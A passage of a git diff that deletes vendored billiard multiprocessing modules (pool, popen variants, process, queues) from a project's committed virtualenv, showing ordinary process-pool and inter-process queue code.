callback=None, error_callback=None): - ''' - Helper function to implement map, starmap and their async counterparts. - ''' - if self._state != RUN: - return - if not hasattr(iterable, '__len__'): - iterable = list(iterable) - - if chunksize is None: - chunksize, extra = divmod(len(iterable), len(self._pool) * 4) - if extra: - chunksize += 1 - if len(iterable) == 0: - chunksize = 0 - - task_batches = Pool._get_tasks(func, iterable, chunksize) - result = MapResult(self._cache, chunksize, len(iterable), callback, - error_callback=error_callback) - self._taskqueue.put((((TASK, (result._job, i, mapper, (x,), {})) - for i, x in enumerate(task_batches)), None)) - return result - - @staticmethod - def _get_tasks(func, it, size): - it = iter(it) - while 1: - x = tuple(itertools.islice(it, size)) - if not x: - return - yield (func, x) - - def __reduce__(self): - raise NotImplementedError( - 'pool objects cannot be passed between processes or pickled', - ) - - def close(self): - debug('closing pool') - if self._state == RUN: - self._state = CLOSE - if self._putlock: - self._putlock.clear() - self._worker_handler.close() - self._taskqueue.put(None) - stop_if_not_current(self._worker_handler) - - def terminate(self): - debug('terminating pool') - self._state = TERMINATE - self._worker_handler.terminate() - self._terminate() - - @staticmethod - def _stop_task_handler(task_handler): - stop_if_not_current(task_handler) - - def join(self): - assert self._state in (CLOSE, TERMINATE) - debug('joining worker handler') - stop_if_not_current(self._worker_handler) - debug('joining task handler') - self._stop_task_handler(self._task_handler) - debug('joining result handler') - stop_if_not_current(self._result_handler) - debug('result handler joined') - for i, p in enumerate(self._pool): - debug('joining worker %s/%s (%r)', i + 1, len(self._pool), p) - if p._popen is not None: # process started? - p.join() - debug('pool join complete') - - def restart(self): - for e in self._poolctrl.values(): - e.set() - - @staticmethod - def _help_stuff_finish(inqueue, task_handler, _pool): - # task_handler may be blocked trying to put items on inqueue - debug('removing tasks from inqueue until task handler finished') - inqueue._rlock.acquire() - while task_handler.is_alive() and inqueue._reader.poll(): - inqueue._reader.recv() - time.sleep(0) - - @classmethod - def _set_result_sentinel(cls, outqueue, pool): - outqueue.put(None) - - @classmethod - def _terminate_pool(cls, taskqueue, inqueue, outqueue, pool, - worker_handler, task_handler, - result_handler, cache, timeout_handler, - help_stuff_finish_args): - - # this is guaranteed to only be called once - debug('finalizing pool') - - worker_handler.terminate() - - task_handler.terminate() - taskqueue.put(None) # sentinel - - debug('helping task handler/workers to finish') - cls._help_stuff_finish(*help_stuff_finish_args) - - result_handler.terminate() - cls._set_result_sentinel(outqueue, pool) - - if timeout_handler is not None: - timeout_handler.terminate() - - # Terminate workers which haven't already finished - if pool and hasattr(pool[0], 'terminate'): - debug('terminating workers') - for p in pool: - if p._is_alive(): - p.terminate() - - debug('joining task handler') - cls._stop_task_handler(task_handler) - - debug('joining result handler') - result_handler.stop() - - if timeout_handler is not None: - debug('joining timeout handler') - timeout_handler.stop(TIMEOUT_MAX) - - if pool and hasattr(pool[0], 'terminate'): - debug('joining pool workers') - for p in pool: - if p.is_alive(): - # worker has not yet exited - debug('cleaning up worker %d', p.pid) - if p._popen is not None: - p.join() - debug('pool workers joined') - - if inqueue: - inqueue.close() - if outqueue: - outqueue.close() - - @property - def process_sentinels(self): - return [w._popen.sentinel for w in self._pool] - -# -# Class whose instances are returned by `Pool.apply_async()` -# - - -class ApplyResult: - _worker_lost = None - _write_to = None - _scheduled_for = None - - def __init__(self, cache, callback, accept_callback=None, - timeout_callback=None, error_callback=None, soft_timeout=None, - timeout=None, lost_worker_timeout=LOST_WORKER_TIMEOUT, - on_timeout_set=None, on_timeout_cancel=None, - callbacks_propagate=(), send_ack=None, - correlation_id=None): - self.correlation_id = correlation_id - self._mutex = Lock() - self._event = threading.Event() - self._job = next(job_counter) - self._cache = cache - self._callback = callback - self._accept_callback = accept_callback - self._error_callback = error_callback - self._timeout_callback = timeout_callback - self._timeout = timeout - self._soft_timeout = soft_timeout - self._lost_worker_timeout = lost_worker_timeout - self._on_timeout_set = on_timeout_set - self._on_timeout_cancel = on_timeout_cancel - self._callbacks_propagate = callbacks_propagate or () - self._send_ack = send_ack - - self._accepted = False - self._cancelled = False - self._worker_pid = None - self._time_accepted = None - self._terminated = None - cache[self._job] = self - - def __repr__(self): - return '<{name}: {id} ack:{ack} ready:{ready}>'.format( - name=self.__class__.__name__, - id=self._job, ack=self._accepted, ready=self.ready(), - ) - - def ready(self): - return self._event.is_set() - - def accepted(self): - return self._accepted - - def successful(self): - assert self.ready() - return self._success - - def _cancel(self): - """Only works if synack is used.""" - self._cancelled = True - - def discard(self): - self._cache.pop(self._job, None) - - def terminate(self, signum): - self._terminated = signum - - def _set_terminated(self, signum=None): - try: - raise Terminated(-(signum or 0)) - except Terminated: - self._set(None, (False, ExceptionInfo())) - - def worker_pids(self): - return [self._worker_pid] if self._worker_pid else [] - - def wait(self, timeout=None): - self._event.wait(timeout) - - def get(self, timeout=None): - self.wait(timeout) - if not self.ready(): - raise TimeoutError - if self._success: - return self._value - else: - raise self._value.exception - - def safe_apply_callback(self, fun, *args, **kwargs): - if fun: - try: - fun(*args, **kwargs) - except self._callbacks_propagate: - raise - except Exception as exc: - error('Pool callback raised exception: %r', exc, - exc_info=1) - - def handle_timeout(self, soft=False): - if self._timeout_callback is not None: - self.safe_apply_callback( - self._timeout_callback, soft=soft, - timeout=self._soft_timeout if soft else self._timeout, - ) - - def _set(self, i, obj): - with self._mutex: - if self._on_timeout_cancel: - self._on_timeout_cancel(self) - self._success, self._value = obj - self._event.set() - if self._accepted: - # if not accepted yet, then the set message - # was received before the ack, which means - # the ack will remove the entry. - self._cache.pop(self._job, None) - - # apply callbacks last - if self._callback and self._success: - self.safe_apply_callback( - self._callback, self._value) - if (self._value is not None and - self._error_callback and not self._success): - self.safe_apply_callback( - self._error_callback, self._value) - - def _ack(self, i, time_accepted, pid, synqW_fd): - with self._mutex: - if self._cancelled and self._send_ack: - self._accepted = True - if synqW_fd: - return self._send_ack(NACK, pid, self._job, synqW_fd) - return - self._accepted = True - self._time_accepted = time_accepted - self._worker_pid = pid - if self.ready(): - # ack received after set() - self._cache.pop(self._job, None) - if self._on_timeout_set: - self._on_timeout_set(self, self._soft_timeout, self._timeout) - response = ACK - if self._accept_callback: - try: - self._accept_callback(pid, time_accepted) - except self._propagate_errors: - response = NACK - raise - except Exception: - response = NACK - # ignore other errors - finally: - if self._send_ack and synqW_fd: - return self._send_ack( - response, pid, self._job, synqW_fd - ) - if self._send_ack and synqW_fd: - self._send_ack(response, pid, self._job, synqW_fd) - -# -# Class whose instances are returned by `Pool.map_async()` -# - - -class MapResult(ApplyResult): - - def __init__(self, cache, chunksize, length, callback, error_callback): - ApplyResult.__init__( - self, cache, callback, error_callback=error_callback, - ) - self._success = True - self._length = length - self._value = [None] * length - self._accepted = [False] * length - self._worker_pid = [None] * length - self._time_accepted = [None] * length - self._chunksize = chunksize - if chunksize <= 0: - self._number_left = 0 - self._event.set() - del cache[self._job] - else: - self._number_left = length // chunksize + bool(length % chunksize) - - def _set(self, i, success_result): - success, result = success_result - if success: - self._value[i * self._chunksize:(i + 1) * self._chunksize] = result - self._number_left -= 1 - if self._number_left == 0: - if self._callback: - self._callback(self._value) - if self._accepted: - self._cache.pop(self._job, None) - self._event.set() - else: - self._success = False - self._value = result - if self._error_callback: - self._error_callback(self._value) - if self._accepted: - self._cache.pop(self._job, None) - self._event.set() - - def _ack(self, i, time_accepted, pid, *args): - start = i * self._chunksize - stop = min((i + 1) * self._chunksize, self._length) - for j in range(start, stop): - self._accepted[j] = True - self._worker_pid[j] = pid - self._time_accepted[j] = time_accepted - if self.ready(): - self._cache.pop(self._job, None) - - def accepted(self): - return all(self._accepted) - - def worker_pids(self): - return [pid for pid in self._worker_pid if pid] - -# -# Class whose instances are returned by `Pool.imap()` -# - - -class IMapIterator: - _worker_lost = None - - def __init__(self, cache, lost_worker_timeout=LOST_WORKER_TIMEOUT): - self._cond = threading.Condition(threading.Lock()) - self._job = next(job_counter) - self._cache = cache - self._items = deque() - self._index = 0 - self._length = None - self._ready = False - self._unsorted = {} - self._worker_pids = [] - self._lost_worker_timeout = lost_worker_timeout - cache[self._job] = self - - def __iter__(self): - return self - - def next(self, timeout=None): - with self._cond: - try: - item = self._items.popleft() - except IndexError: - if self._index == self._length: - self._ready = True - raise StopIteration - self._cond.wait(timeout) - try: - item = self._items.popleft() - except IndexError: - if self._index == self._length: - self._ready = True - raise StopIteration - raise TimeoutError - - success, value = item - if success: - return value - raise Exception(value) - - __next__ = next # XXX - - def _set(self, i, obj): - with self._cond: - if self._index == i: - self._items.append(obj) - self._index += 1 - while self._index in self._unsorted: - obj = self._unsorted.pop(self._index) - self._items.append(obj) - self._index += 1 - self._cond.notify() - else: - self._unsorted[i] = obj - - if self._index == self._length: - self._ready = True - del self._cache[self._job] - - def _set_length(self, length): - with self._cond: - self._length = length - if self._index == self._length: - self._ready = True - self._cond.notify() - del self._cache[self._job] - - def _ack(self, i, time_accepted, pid, *args): - self._worker_pids.append(pid) - - def ready(self): - return self._ready - - def worker_pids(self): - return self._worker_pids - -# -# Class whose instances are returned by `Pool.imap_unordered()` -# - - -class IMapUnorderedIterator(IMapIterator): - - def _set(self, i, obj): - with self._cond: - self._items.append(obj) - self._index += 1 - self._cond.notify() - if self._index == self._length: - self._ready = True - del self._cache[self._job] - -# -# -# - - -class ThreadPool(Pool): - - from .dummy import Process as DummyProcess - Process = DummyProcess - - def __init__(self, processes=None, initializer=None, initargs=()): - Pool.__init__(self, processes, initializer, initargs) - - def _setup_queues(self): - self._inqueue = Queue() - self._outqueue = Queue() - self._quick_put = self._inqueue.put - self._quick_get = self._outqueue.get - - def _poll_result(timeout): - try: - return True, self._quick_get(timeout=timeout) - except Empty: - return False, None - self._poll_result = _poll_result - - @staticmethod - def _help_stuff_finish(inqueue, task_handler, pool): - # put sentinels at head of inqueue to make workers finish - with inqueue.not_empty: - inqueue.queue.clear() - inqueue.queue.extend([None] * len(pool)) - inqueue.not_empty.notify_all() diff --git a/backend/venv/Lib/site-packages/billiard/popen_fork.py b/backend/venv/Lib/site-packages/billiard/popen_fork.py deleted file mode 100644 index caf14f8e..00000000 --- a/backend/venv/Lib/site-packages/billiard/popen_fork.py +++ /dev/null @@ -1,89 +0,0 @@ -import os -import sys -import errno - -from .common import TERM_SIGNAL - -__all__ = ['Popen'] - -# -# Start child process using fork -# - - -class Popen: - method = 'fork' - sentinel = None - - def __init__(self, process_obj): - sys.stdout.flush() - sys.stderr.flush() - self.returncode = None - self._launch(process_obj) - - def duplicate_for_child(self, fd): - return fd - - def poll(self, flag=os.WNOHANG): - if self.returncode is None: - while True: - try: - pid, sts = os.waitpid(self.pid, flag) - except OSError as e: - if e.errno == errno.EINTR: - continue - # Child process not yet created. See #1731717 - # e.errno == errno.ECHILD == 10 - return None - else: - break - if pid == self.pid: - if os.WIFSIGNALED(sts): - self.returncode = -os.WTERMSIG(sts) - else: - assert os.WIFEXITED(sts) - self.returncode = os.WEXITSTATUS(sts) - return self.returncode - - def wait(self, timeout=None): - if self.returncode is None: - if timeout is not None: - from .connection import wait - if not wait([self.sentinel], timeout): - return None - # This shouldn't block if wait() returned successfully. - return self.poll(os.WNOHANG if timeout == 0.0 else 0) - return self.returncode - - def terminate(self): - if self.returncode is None: - try: - os.kill(self.pid, TERM_SIGNAL) - except OSError as exc: - if getattr(exc, 'errno', None) != errno.ESRCH: - if self.wait(timeout=0.1) is None: - raise - - def _launch(self, process_obj): - code = 1 - parent_r, child_w = os.pipe() - self.pid = os.fork() - if self.pid == 0: - try: - os.close(parent_r) - if 'random' in sys.modules: - import random - random.seed() - code = process_obj._bootstrap() - finally: - os._exit(code) - else: - os.close(child_w) - self.sentinel = parent_r - - def close(self): - if self.sentinel is not None: - try: - os.close(self.sentinel) - finally: - self.sentinel = None diff --git a/backend/venv/Lib/site-packages/billiard/popen_forkserver.py b/backend/venv/Lib/site-packages/billiard/popen_forkserver.py deleted file mode 100644 index dfff2540..00000000 --- a/backend/venv/Lib/site-packages/billiard/popen_forkserver.py +++ /dev/null @@ -1,68 +0,0 @@ -import io -import os - -from . import reduction -from . import context -from . import forkserver -from . import popen_fork -from . import spawn - -__all__ = ['Popen'] - -# -# Wrapper for an fd used while launching a process -# - - -class _DupFd: - - def __init__(self, ind): - self.ind = ind - - def detach(self): - return forkserver.get_inherited_fds()[self.ind] - -# -# Start child process using a server process -# - - -class Popen(popen_fork.Popen): - method = 'forkserver' - DupFd = _DupFd - - def __init__(self, process_obj): - self._fds = [] - super().__init__(process_obj) - - def duplicate_for_child(self, fd): - self._fds.append(fd) - return len(self._fds) - 1 - - def _launch(self, process_obj): - prep_data = spawn.get_preparation_data(process_obj._name) - buf = io.BytesIO() - context.set_spawning_popen(self) - try: - reduction.dump(prep_data, buf) - reduction.dump(process_obj, buf) - finally: - context.set_spawning_popen(None) - - self.sentinel, w = forkserver.connect_to_new_process(self._fds) - with io.open(w, 'wb', closefd=True) as f: - f.write(buf.getbuffer()) - self.pid = forkserver.read_unsigned(self.sentinel) - - def poll(self, flag=os.WNOHANG): - if self.returncode is None: - from .connection import wait - timeout = 0 if flag == os.WNOHANG else None - if not wait([self.sentinel], timeout): - return None - try: - self.returncode = forkserver.read_unsigned(self.sentinel) - except (OSError, EOFError): - # The process ended abnormally perhaps because of a signal - self.returncode = 255 - return self.returncode diff --git a/backend/venv/Lib/site-packages/billiard/popen_spawn_posix.py b/backend/venv/Lib/site-packages/billiard/popen_spawn_posix.py deleted file mode 100644 index 5772a755..00000000 --- a/backend/venv/Lib/site-packages/billiard/popen_spawn_posix.py +++ /dev/null @@ -1,74 +0,0 @@ -import io -import os - -from . import context -from . import popen_fork -from . import reduction -from . import spawn - -from .compat import spawnv_passfds - -__all__ = ['Popen'] - - -# -# Wrapper for an fd used while launching a process -# - -class _DupFd: - - def __init__(self, fd): - self.fd = fd - - def detach(self): - return self.fd - -# -# Start child process using a fresh interpreter -# - - -class Popen(popen_fork.Popen): - method = 'spawn' - DupFd = _DupFd - - def __init__(self, process_obj): - self._fds = [] - super().__init__(process_obj) - - def duplicate_for_child(self, fd): - self._fds.append(fd) - return fd - - def _launch(self, process_obj): - os.environ["MULTIPROCESSING_FORKING_DISABLE"] = "1" - spawn._Django_old_layout_hack__save() - from . import semaphore_tracker - tracker_fd = semaphore_tracker.getfd() - self._fds.append(tracker_fd) - prep_data = spawn.get_preparation_data(process_obj._name) - fp = io.BytesIO() - context.set_spawning_popen(self) - try: - reduction.dump(prep_data, fp) - reduction.dump(process_obj, fp) - finally: - context.set_spawning_popen(None) - - parent_r = child_w = child_r = parent_w = None - try: - parent_r, child_w = os.pipe() - child_r, parent_w = os.pipe() - cmd = spawn.get_command_line(tracker_fd=tracker_fd, - pipe_handle=child_r) - self._fds.extend([child_r, child_w]) - self.pid = spawnv_passfds( - spawn.get_executable(), cmd, self._fds, - ) - self.sentinel = parent_r - with io.open(parent_w, 'wb', closefd=False) as f: - f.write(fp.getvalue()) - finally: - for fd in (child_r, child_w, parent_w): - if fd is not None: - os.close(fd) diff --git a/backend/venv/Lib/site-packages/billiard/popen_spawn_win32.py b/backend/venv/Lib/site-packages/billiard/popen_spawn_win32.py deleted file mode 100644 index 23254923..00000000 --- a/backend/venv/Lib/site-packages/billiard/popen_spawn_win32.py +++ /dev/null @@ -1,121 +0,0 @@ -import io -import os -import msvcrt -import signal -import sys - -from . import context -from . import spawn -from . import reduction - -from .compat import _winapi - -__all__ = ['Popen'] - -# -# -# - -TERMINATE = 0x10000 -WINEXE = (sys.platform == 'win32' and getattr(sys, 'frozen', False)) -WINSERVICE = sys.executable.lower().endswith("pythonservice.exe") - -# -# We define a Popen class similar to the one from subprocess, but -# whose constructor takes a process object as its argument. -# - - -if sys.platform == 'win32': - try: - from _winapi import CreateProcess, GetExitCodeProcess - close_thread_handle = _winapi.CloseHandle - except ImportError: # Py2.7 - from _subprocess import CreateProcess, GetExitCodeProcess - - def close_thread_handle(handle): - handle.Close() - - -class Popen: - ''' - Start a subprocess to run the code of a process object - ''' - method = 'spawn' - sentinel = None - - def __init__(self, process_obj): - os.environ["MULTIPROCESSING_FORKING_DISABLE"] = "1" - spawn._Django_old_layout_hack__save() - prep_data = spawn.get_preparation_data(process_obj._name) - - # read end of pipe will be "stolen" by the child process - # -- see spawn_main() in spawn.py. - rhandle, whandle = _winapi.CreatePipe(None, 0) - wfd = msvcrt.open_osfhandle(whandle, 0) - cmd = spawn.get_command_line(parent_pid=os.getpid(), - pipe_handle=rhandle) - cmd = ' '.join('"%s"' % x for x in cmd) - - with io.open(wfd, 'wb', closefd=True) as to_child: - # start process - try: - hp, ht, pid, tid = CreateProcess( - spawn.get_executable(), cmd, - None, None, False, 0, None, None, None) - close_thread_handle(ht) - except: - _winapi.CloseHandle(rhandle) - raise - - # set attributes of self - self.pid = pid - self.returncode = None - self._handle = hp - self.sentinel = int(hp) - - # send information to child - context.set_spawning_popen(self) - try: - reduction.dump(prep_data, to_child) - reduction.dump(process_obj, to_child) - finally: - context.set_spawning_popen(None) - - def close(self): - if self.sentinel is not None: - try: - _winapi.CloseHandle(self.sentinel) - finally: - self.sentinel = None - - def duplicate_for_child(self, handle): - assert self is context.get_spawning_popen() - return reduction.duplicate(handle, self.sentinel) - - def wait(self, timeout=None): - if self.returncode is None: - if timeout is None: - msecs = _winapi.INFINITE - else: - msecs = max(0, int(timeout * 1000 + 0.5)) - - res = _winapi.WaitForSingleObject(int(self._handle), msecs) - if res == _winapi.WAIT_OBJECT_0: - code = GetExitCodeProcess(self._handle) - if code == TERMINATE: - code = -signal.SIGTERM - self.returncode = code - - return self.returncode - - def poll(self): - return self.wait(timeout=0) - - def terminate(self): - if self.returncode is None: - try: - _winapi.TerminateProcess(int(self._handle), TERMINATE) - except OSError: - if self.wait(timeout=1.0) is None: - raise diff --git a/backend/venv/Lib/site-packages/billiard/process.py b/backend/venv/Lib/site-packages/billiard/process.py deleted file mode 100644 index 50823439..00000000 --- a/backend/venv/Lib/site-packages/billiard/process.py +++ /dev/null @@ -1,400 +0,0 @@ -# -# Module providing the `Process` class which emulates `threading.Thread` -# -# multiprocessing/process.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# -# -# Imports -# - -import os -import sys -import signal -import itertools -import logging -import threading -from _weakrefset import WeakSet - -from multiprocessing import process as _mproc - -try: - ORIGINAL_DIR = os.path.abspath(os.getcwd()) -except OSError: - ORIGINAL_DIR = None - -__all__ = ['BaseProcess', 'Process', 'current_process', 'active_children'] - -# -# Public functions -# - - -def current_process(): - ''' - Return process object representing the current process - ''' - return _current_process - - -def _set_current_process(process): - global _current_process - _current_process = _mproc._current_process = process - - -def _cleanup(): - # check for processes which have finished - for p in list(_children): - if p._popen.poll() is not None: - _children.discard(p) - - -def _maybe_flush(f): - try: - f.flush() - except (AttributeError, EnvironmentError, NotImplementedError): - pass - - -def active_children(_cleanup=_cleanup): - ''' - Return list of process objects corresponding to live child processes - ''' - try: - _cleanup() - except TypeError: - # called after gc collect so _cleanup does not exist anymore - return [] - return list(_children) - - -class BaseProcess: - ''' - Process objects represent activity that is run in a separate process - - The class is analogous to `threading.Thread` - ''' - - def _Popen(self): - raise NotImplementedError() - - def __init__(self, group=None, target=None, name=None, - args=(), kwargs={}, daemon=None, **_kw): - assert group is None, 'group argument must be None for now' - count = next(_process_counter) - self._identity = _current_process._identity + (count, ) - self._config = _current_process._config.copy() - self._parent_pid = os.getpid() - self._popen = None - self._target = target - self._args = tuple(args) - self._kwargs = dict(kwargs) - self._name = ( - name or type(self).__name__ + '-' + - ':'.join(str(i) for i in self._identity) - ) - if daemon is not None: - self.daemon = daemon - if _dangling is not None: - _dangling.add(self) - - self._controlled_termination = False - - def run(self): - ''' - Method to be run in sub-process; can be overridden in sub-class - ''' - if self._target: - self._target(*self._args, **self._kwargs) - - def start(self): - ''' - Start child process - ''' - assert self._popen is None, 'cannot start a process twice' - assert self._parent_pid == os.getpid(), \ - 'can only start a process object created by current process' - _cleanup() - self._popen = self._Popen(self) - self._sentinel = self._popen.sentinel - _children.add(self) - - def close(self): - if self._popen is not None: - self._popen.close() - - def terminate(self): - ''' - Terminate process; sends SIGTERM signal or uses TerminateProcess() - ''' - self._popen.terminate() - - def terminate_controlled(self): - self._controlled_termination = True - self.terminate() - - def join(self, timeout=None): - ''' - Wait until child process terminates - ''' - assert self._parent_pid == os.getpid(), 'can only join a child process' - assert self._popen is not None, 'can only join a started process' - res = self._popen.wait(timeout) - if res is not None: - _children.discard(self) - self.close() - - def is_alive(self): - ''' - Return whether process is alive - ''' - if self is _current_process: - return True - assert self._parent_pid == os.getpid(), 'can only test a child process' - if self._popen is None: - return False - self._popen.poll() - return self._popen.returncode is None - - def _is_alive(self): - if self._popen is None: - return False - return self._popen.poll() is None - - @property - def name(self): - return self._name - - @name.setter - def name(self, name): # noqa - assert isinstance(name, str), 'name must be a string' - self._name = name - - @property - def daemon(self): - ''' - Return whether process is a daemon - ''' - return self._config.get('daemon', False) - - @daemon.setter # noqa - def daemon(self, daemonic): - ''' - Set whether process is a daemon - ''' - assert self._popen is None, 'process has already started' - self._config['daemon'] = daemonic - - @property - def authkey(self): - return self._config['authkey'] - - @authkey.setter # noqa - def authkey(self, authkey): - ''' - Set authorization key of process - ''' - self._config['authkey'] = AuthenticationString(authkey) - - @property - def exitcode(self): - ''' - Return exit code of process or `None` if it has yet to stop - ''' - if self._popen is None: - return self._popen - return self._popen.poll() - - @property - def ident(self): - ''' - Return identifier (PID) of process or `None` if it has yet to start - ''' - if self is _current_process: - return os.getpid() - else: - return self._popen and self._popen.pid - - pid = ident - - @property - def sentinel(self): - ''' - Return a file descriptor (Unix) or handle (Windows) suitable for - waiting for process termination. - ''' - try: - return self._sentinel - except AttributeError: - raise ValueError("process not started") - - @property - def _counter(self): - # compat for 2.7 - return _process_counter - - @property - def _children(self): - # compat for 2.7 - return _children - - @property - def _authkey(self): - # compat for 2.7 - return self.authkey - - @property - def _daemonic(self): - # compat for 2.7 - return self.daemon - - @property - def _tempdir(self): - # compat for 2.7 - return self._config.get('tempdir') - - def __repr__(self): - if self is _current_process: - status = 'started' - elif self._parent_pid != os.getpid(): - status = 'unknown' - elif self._popen is None: - status = 'initial' - else: - if self._popen.poll() is not None: - status = self.exitcode - else: - status = 'started' - - if type(status) is int: - if status == 0: - status = 'stopped' - else: - status = 'stopped[%s]' % _exitcode_to_name.get(status, status) - - return '<%s(%s, %s%s)>' % (type(self).__name__, self._name, - status, self.daemon and ' daemon' or '') - - ## - - def _bootstrap(self): - from . import util, context - global _current_process, _process_counter, _children - - try: - if self._start_method is not None: - context._force_start_method(self._start_method) - _process_counter = itertools.count(1) - _children = set() - if sys.stdin is not None: - try: - sys.stdin.close() - sys.stdin = open(os.devnull) - except (EnvironmentError, OSError, ValueError): - pass - old_process = _current_process - _set_current_process(self) - - # Re-init logging system. - # Workaround for https://bugs.python.org/issue6721/#msg140215 - # Python logging module uses RLock() objects which are broken - # after fork. This can result in a deadlock (Celery Issue #496). - loggerDict = logging.Logger.manager.loggerDict - logger_names = list(loggerDict.keys()) - logger_names.append(None) # for root logger - for name in logger_names: - if not name or not isinstance(loggerDict[name], - logging.PlaceHolder): - for handler in logging.getLogger(name).handlers: - handler.createLock() - logging._lock = threading.RLock() - - try: - util._finalizer_registry.clear() - util._run_after_forkers() - finally: - # delay finalization of the old process object until after - # _run_after_forkers() is executed - del old_process - util.info('child process %s calling self.run()', self.pid) - try: - self.run() - exitcode = 0 - finally: - util._exit_function() - except SystemExit as exc: - if not exc.args: - exitcode = 1 - elif isinstance(exc.args[0], int): - exitcode = exc.args[0] - else: - sys.stderr.write(str(exc.args[0]) + '\n') - _maybe_flush(sys.stderr) - exitcode = 0 if isinstance(exc.args[0], str) else 1 - except: - exitcode = 1 - if not util.error('Process %s', self.name, exc_info=True): - import traceback - sys.stderr.write('Process %s:\n' % self.name) - traceback.print_exc() - finally: - util.info('process %s exiting with exitcode %d', - self.pid, exitcode) - _maybe_flush(sys.stdout) - _maybe_flush(sys.stderr) - - return exitcode - -# -# We subclass bytes to avoid accidental transmission of auth keys over network -# - - -class AuthenticationString(bytes): - - def __reduce__(self): - from .context import get_spawning_popen - - if get_spawning_popen() is None: - raise TypeError( - 'Pickling an AuthenticationString object is ' - 'disallowed for security reasons') - return AuthenticationString, (bytes(self),) - -# -# Create object representing the main process -# - - -class _MainProcess(BaseProcess): - - def __init__(self): - self._identity = () - self._name = 'MainProcess' - self._parent_pid = None - self._popen = None - self._config = {'authkey': AuthenticationString(os.urandom(32)), - 'semprefix': '/mp'} - -_current_process = _MainProcess() -_process_counter = itertools.count(1) -_children = set() -del _MainProcess - - -Process = BaseProcess - -# -# Give names to some return codes -# - -_exitcode_to_name = {} - -for name, signum in signal.__dict__.items(): - if name[:3] == 'SIG' and '_' not in name: - _exitcode_to_name[-signum] = name - -# For debug and leak testing -_dangling = WeakSet() diff --git a/backend/venv/Lib/site-packages/billiard/queues.py b/backend/venv/Lib/site-packages/billiard/queues.py deleted file mode 100644 index bd16f8c3..00000000 --- a/backend/venv/Lib/site-packages/billiard/queues.py +++ /dev/null @@ -1,403 +0,0 @@ -# -# Module implementing queues -# -# multiprocessing/queues.py -# -# Copyright (c) 2006-2008, R Oudkerk -# Licensed to PSF under a Contributor Agreement. -# - -import sys -import os -import threading -import collections -import weakref -import errno - -from . import connection -from . import context - -from .compat import get_errno -from time import monotonic -from queue import Empty, Full -from .util import ( - debug, error, info, Finalize, register_after_fork, is_exiting, -) -from .reduction import ForkingPickler - -__all__ = ['Queue', 'SimpleQueue', 'JoinableQueue'] - - -class Queue: - ''' - Queue type using a pipe, buffer and thread - ''' - def __init__(self, maxsize=0, *args, **kwargs): - try: - ctx = kwargs['ctx'] - except KeyError: - raise TypeError('missing 1 required keyword-only argument: ctx') - if maxsize <= 0: - # Can raise ImportError (see issues #3770 and #23400) - from .synchronize import SEM_VALUE_MAX as maxsize # noqa - self._maxsize = maxsize - self._reader, self._writer = connection.Pipe(duplex=False) - self._rlock = ctx.Lock() - self._opid = os.getpid() - if sys.platform == 'win32': - self._wlock = None - else: - self._wlock = ctx.Lock() - self._sem = ctx.BoundedSemaphore(maxsize) - # For use by concurrent.futures - self._ignore_epipe = False - - self._after_fork() - - if sys.platform != 'win32': - register_after_fork(self, Queue._after_fork) - - def __getstate__(self): - context.assert_spawning(self) - return (self._ignore_epipe, self._maxsize, self._reader, self._writer, - self._rlock, self._wlock, self._sem, self._opid) - - def __setstate__(self, state): - (self._ignore_epipe, self._maxsize, self._reader, self._writer, - self._rlock, self._wlock, self._sem, self._opid) = state - self._after_fork() - - def _after_fork(self): - debug('Queue._after_fork()') - self._notempty = threading.Condition(threading.Lock()) - self._buffer = collections.deque() - self._thread = None - self._jointhread = None - self._joincancelled = False - self._closed = False - self._close = None - self._send_bytes = self._writer.send - self._recv = self._reader.recv - self._send_bytes = self._writer.send_bytes - self._recv_bytes = self._reader.recv_bytes - self._poll = self._reader.poll - - def put(self, obj, block=True, timeout=None): - assert not self._closed - if not self._sem.acquire(block, timeout): - raise Full - - with self._notempty: - if self._thread is None: - self._start_thread() - self._buffer.append(obj) - self._notempty.notify() - - def get(self, block=True, timeout=None): - if block and timeout is None: - with self._rlock: - res = self._recv_bytes() - self._sem.release() - - else: - if block: - deadline = monotonic() + timeout - if not self._rlock.acquire(block, timeout): - raise Empty - try: - if block: - timeout = deadline - monotonic() - if timeout < 0 or not self._poll(timeout): - raise Empty - elif not self._poll(): - raise Empty - res = self._recv_bytes() - self._sem.release() - finally: - self._rlock.release() - # unserialize the data after having released the lock - return ForkingPickler.loads(res) - - def qsize(self): - # Raises NotImplementedError on macOS because - # of broken sem_getvalue() - return self._maxsize - self._sem._semlock._get_value() - - def empty(self): - return not self._poll() - - def full(self): - return self._sem._semlock._is_zero() - - def get_nowait(self): - return self.get(False) - - def put_nowait(self, obj): - return self.put(obj, False) - - def close(self): - self._closed = True - try: - self._reader.close() - finally: - close = self._close - if close: - self._close = None - close() - - def join_thread(self): - debug('Queue.join_thread()') - assert self._closed - if self._jointhread: - self._jointhread() - - def cancel_join_thread(self): - debug('Queue.cancel_join_thread()') - self._joincancelled = True - try: - self._jointhread.cancel() - except AttributeError: - pass - - def _start_thread(self): - debug('Queue._start_thread()') - - # Start thread which transfers data from buffer to pipe - self._buffer.clear() - self._thread = threading.Thread( - target=Queue._feed, - args=(self._buffer, self._notempty, self._send_bytes, - self._wlock, self._writer.close, self._ignore_epipe), - name='QueueFeederThread' - ) - self._thread.daemon = True - - debug('doing self._thread.start()') - self._thread.start() - debug('... done self._thread.start()') - - # On process exit we will wait for data to be flushed to pipe. - # - # However, if this process created the queue then all - # processes which use the queue will be descendants of this - # process. Therefore waiting for the queue to be flushed - # is pointless once all the child processes have been joined. - created_by_this_process = (self._opid == os.getpid()) - if not self._joincancelled and not created_by_this_process: - self._jointhread = Finalize( - self._thread, Queue._finalize_join, - [weakref.ref(self._thread)], - exitpriority=-5 - ) - - # Send sentinel to the thread queue object when garbage collected - self._close = Finalize( - self, Queue._finalize_close, - [self._buffer, self._notempty], - exitpriority=10 - ) - - @staticmethod - def _finalize_join(twr): - debug('joining queue thread') - thread = twr() - if thread is not None: - thread.join() - debug('... queue thread joined') - else: - debug('... queue thread already dead') - - @staticmethod - def _finalize_close(buffer, notempty): - debug('telling queue thread to quit') - with notempty: - buffer.append(_sentinel) - notempty.notify() - - @staticmethod - def _feed(buffer, notempty, send_bytes, writelock, close, ignore_epipe): - debug('starting thread to feed data to pipe') - - nacquire = notempty.acquire - nrelease = notempty.release - nwait = notempty.wait - bpopleft = buffer.popleft - sentinel = _sentinel - if sys.platform != 'win32': - wacquire = writelock.acquire - wrelease = writelock.release - else: - wacquire = None - - try: - while 1: - nacquire() - try: - if not buffer: - nwait() - 